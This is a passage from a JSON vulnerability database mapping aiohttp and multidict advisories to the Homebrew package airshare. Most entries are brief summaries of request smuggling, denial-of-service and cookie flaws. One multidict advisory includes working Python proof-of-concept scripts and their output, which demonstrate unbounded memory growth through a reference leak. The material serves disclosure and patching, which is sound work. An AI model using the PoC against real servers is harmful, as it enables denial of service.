ed","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP's unicode processing of header values could cause parsing discrepancies","details":"### Summary\nThe Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-69f9-5gxw-wvc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69224"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69225","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-mqqc-3gqh-h2x8","CVE-2025-69225","PYSEC-2026-1109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP has unicode match groups in regexes for ASCII protocol elements","details":"### Summary\n\nThe parser allows non-ASCII decimals to be present in the Range header.\n\n### Impact\n\nThere is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mqqc-3gqh-h2x8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69225"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69226","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-54jq-c3m8-4m76","CVE-2025-69226","PYSEC-2026-1097"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to brute-force leak of internal static ﬁle path components","details":"### Summary\nPath normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the\nexistence of absolute path components.\n\n### Impact\nIf an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-54jq-c3m8-4m76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69226"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69227","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-jj3x-wxrx-4x23","CVE-2025-69227","PYSEC-2026-1107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS when bypassing asserts","details":"### Summary\nWhen assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.\n\n### Impact\nIf optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.\n\n------\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jj3x-wxrx-4x23"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69227"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69228","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-6jhg-hg63-jvvf","CVE-2025-69228","PYSEC-2026-1100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to  denial of service through large payloads","details":"### Summary\nA request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.\n\n### Impact\nIf an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6jhg-hg63-jvvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69228"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69229","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-g84x-mcqj-x9qq","CVE-2025-69229","PYSEC-2026-1106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP vulnerable to DoS through chunked messages","details":"### Summary\n\nHandling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.\n\n### Impact\n\nIf an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712\nPatch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2025-69230","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-fh55-r93g-j68g","CVE-2025-69230","PYSEC-2026-1105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_20"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP Vulnerable to Cookie Parser Warning Storm","details":"### Summary\nReading multiple invalid cookies can lead to a logging storm.\n\n### Impact\nIf the ``cookies`` attribute is accessed in an application, then an attacker may be able to trigger a storm of warning-level logs using a specially crafted Cookie header.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-fh55-r93g-j68g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69230"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/64629a0834f94e46d9881f4e99c41a137e1f3326"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-104874","published":"2026-10-06T19:58:41Z","modified":"2026-10-16T10:09:28Z","upstream":["GHSA-54p9-h82j-f925","CVE-2026-104874","PYSEC-2026-4244"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_18"},{"fixed":"0.1.6_26"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.9.1","resource":"multidict","resource_purl":"pkg:pypi/multidict@6.9.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"multidict","subject_version":"6.9.1","key":"pkg:pypi/multidict@6.9.1","resource":"multidict"}]},"summary":"Multidict: Reference leak in CIMultiDict/MultiDict items-view union and subtraction","details":"## Description\n\nA reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed.\n\n---\n\n## Root Cause\n\n`_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`:\n\n```c\n// views.h:565 — or2_impl first parse loop\nwhile ((st = PyIter_NextItem(iter, &arg)) > 0) {\n    int tmp = _multidict_itemsview_parse_item(\n        self, arg, &identity, NULL, &value);   // identity + value: new refs\n    if (tmp < 0) goto fail;\n    else if (tmp > 0) {\n        if (_set_add(tmp_set, identity, value) < 0) goto fail;\n    }\n    Py_CLEAR(arg);                             // :575 clears arg ONLY\n}\n```\n\n`_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission.\n\nThis is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`.\n\n`views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases.\n\n---\n\n## Reproduction Environment\n\n| Item | Value |\n|------|-------|\n| **Runtime** | CPython 3.14.6 |\n| **multidict** | 6.9.0 (PyPI binary wheel, C extension) |\n| **OS** | macOS (darwin 25.6.0, arm64) |\n\n---\n\n## Proof of Concept\n\n### POC Source Code\n\n#### poc_refcount.py — leak proof with intersection control\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, run_op):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    value = object()                 # unique sentinel\n    N = 100000\n    operand = [(\"k%d\" % i, value) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(value)\n    run_op(d, operand)\n    gc.collect(); after = sys.getrefcount(value)\n    print(f\"[{name}] leaked strong refs = {after - before}\")\n\nprobe(\"or2  operand | items\", lambda d, o: o | d.items())    # reflected union\nprobe(\"sub1 items - operand\", lambda d, o: d.items() - o)    # subtraction\nprobe(\"and2 items & operand\", lambda d, o: d.items() & o)    # CONTROL: clears, expect 0\n```\n\n#### poc_dispatch.py — maps which paths leak\n\n```python\nimport sys, gc\nfrom multidict import CIMultiDict\n\ndef probe(name, fn):\n    d = CIMultiDict(); d[\"seed\"] = \"x\"\n    v = object(); N = 50000\n    operand = [(\"k%d\" % i, v) for i in range(N)]\n    gc.collect(); before = sys.getrefcount(v)\n    fn(d, operand); gc.collect(); after = sys.getrefcount(v)\n    print(f\"{name:35s} leaked={after - before}\")\n\nprobe(\"operand | d.items()  (or2)\",  lambda d, o: o | d.items())\nprobe(\"d.items() | operand  (or1)\",  lambda d, o: d.items() | o)\nprobe(\"d.items() - operand  (sub1)\", lambda d, o: d.items() - o)\nprobe(\"operand - d.items()  (rsub)\", lambda d, o: set(o) - d.items())\nprobe(\"d.items() & operand  (and)\",  lambda d, o: d.items() & o)\n```\n\n#### poc_rss.py — availability consequence\n\n```python\nimport sys, gc, resource\nfrom multidict import CIMultiDict\n\ndef rss_mb():\n    r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    return r / (1024 * 1024) if sys.platform == \"darwin\" else r / 1024\n\nd = CIMultiDict(); d[\"seed\"] = \"x\"\ngc.collect(); print(f\"start RSS = {rss_mb():.1f} MB\")\nfor i in range(200):\n    operand = [(f\"k{i}_{j}\", f\"v{i}_{j}\") for j in range(50000)]\n    _ = operand | d.items()\n    del operand\n    gc.collect()                     # prove GC cannot reclaim the leak\n    if (i + 1) % 40 == 0:\n        print(f\"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB\")\n```\n\n### Execution Steps\n\n1. `python3 -m venv venv` (CPython 3.10+).\n2. `./venv/bin/pip install \"multidict==6.9.0\"` (installs the C-extension wheel).\n3. From a directory that is **not** a multidict checkout, run each script with `./venv/bin/python`.\n\n### Actual Execution Evidence\n\n```\n[or2  operand | items] leaked strong refs = 100000\n[sub1 items - operand] leaked strong refs = 100000\n[and2 items & operand] leaked strong refs = 0        <- control\n```\n\n```\noperand | d.items()  (or2)          leaked=50000\nd.items() | operand  (or1)          leaked=0\nd.items() - operand  (sub1)         leaked=50000\noperand - d.items()  (rsub)         leaked=0\nd.items() & operand  (and)          leaked=0\n```\n\n```\nstart RSS = 15.6 MB\nafter 2,000,000 elements: RSS = 288.1 MB\nafter 6,000,000 elements: RSS = 776.8 MB\nafter 10,000,000 elements: RSS = 1266.8 MB   (gc.collect() every iteration)\n```\n\n### Version-boundary evidence\n\nSame `poc_dispatch.py`, PyPI wheels, identical environment. Last-clean is `6.6.4`; first-affected is `6.7.0`:\n\n```\n6.6.4 : or2=0      sub1=0      others=0   (clean, last 6.6.x)\n6.7.0 : or2=50000  sub1=50000  others=0   (AFFECTED, first)\n6.9.0 : or2=50000  sub1=50000  others=0   (affected)\n```\n\nThe clean 6.6.x releases return correct set-operation results, so the zero leak reflects correct memory management, not a broken path.\n\n### Analysis of Results\n\nThe operand holds exactly `N` references to one sentinel value; after the union its refcount rises by another `N` and stays there post-GC, so each element leaked one strong reference. Subtraction shows the identical delta. The intersection control, which clears `identity` and `value`, leaks zero; the only code difference is the two missing `Py_CLEAR` calls, so the leak is caused by that omission and not the harness. RSS climbs from 15.6 MB to 1266.8 MB (~250 MB per 2M elements) despite per-iteration GC, confirming the objects are unreachable by the cyclic collector.\n\n---\n\n## Impact\n\nA process that evaluates items-view unions or subtractions over remote-influenced operands leaks one identity plus one value object per element, permanently. In the aio-libs stack multidict backs HTTP headers and query strings, so an attacker who enlarges the operand (for example, many repeated header items compared against a fixed allow/deny set) forces steady, unrecoverable heap growth and can eventually exhaust memory in a long-lived server. This is an availability defect only; results stay correct and no data is exposed.\n\nReachability depends on the application evaluating `operand | view.items()` (reflected union) or `view.items() - operand` (subtraction) over a sequence of 2-tuples whose count is remote-influenced. The forward union `view.items() | operand` routes to `or1_impl`, which clears correctly and does not leak; a non-tuple operand element takes the `parse_item` early-return and does not leak. Set algebra over items views is not the most common multidict usage, which bounds exposure and is why this is Medium, not High. This is distinct from PR #1413, which fixed a temporary-tuple leak in the second loop and did not release these per-element objects.\n\n---\n\n## Remediation\n\n**Recommended fix.** Clear the two per-element references at the end of the first parse loop in both functions, exactly as every sibling path does. In `or2_impl` (`views.h:575`) and `sub1_impl` (`views.h:696`), replace the lone `Py_CLEAR(arg);` with:\n\n```c\n    Py_CLEAR(arg);\n    Py_CLEAR(identity);\n    Py_CLEAR(value);\n```\n\nThis is an in-repo change to a static internal function; it alters no public API, type, or signature, and asks callers to change nothing. A leak test in the existing `tests/test_leaks.py` style would lock it in.\n\n**Workaround.** Avoid `operand | view.items()` and `view.items() - operand` on attacker-influenced operands, or install with `MULTIDICT_NO_EXTENSIONS=1` to use the unaffected pure-Python build.\n\n---","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/multidict/security/advisories/GHSA-54p9-h82j-f925"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104874"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/commit/350b4a07bf8ff851b6d7544e81b1c748bdc74c40"},{"type":"PACKAGE","url":"https://github.com/aio-libs/multidict"},{"type":"WEB","url":"https://github.com/aio-libs/multidict/releases/tag/v6.9.1"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111063","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-494j-54xm-rwp3","CVE-2026-111063"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Secure attribute not enforced for shared cookie","details":"### Summary\n\nThe Secure attribute was not being enforced for the shared cookie.\n\n### Impact\n\nIt may be possible to send a shared cookie marked Secure through an unencrypted request.","references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-494j-54xm-rwp3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/999c356d61e966faffa97b06ab0d0455226d36c5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111064","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-5wr8-gcqf-gqf3","CVE-2026-111064"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp server lacks an initial request/header timeout","details":"### Summary\n\nThe keepalive timeout was not used during the initial portion of a request.\n\n### Impact\n\nAn attacker could keep an idle connection open indefinitely before sending any data.\n\n### Workaround\n\nUse a reverse proxy (as recommended for all production deployments) with sensible keepalive limits.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5wr8-gcqf-gqf3"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/be846822b4b3a5a54b6163e794b42dc06fba54a3"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111065","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-6cjc-53gc-5rqm","CVE-2026-111065"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111066","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111748","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for 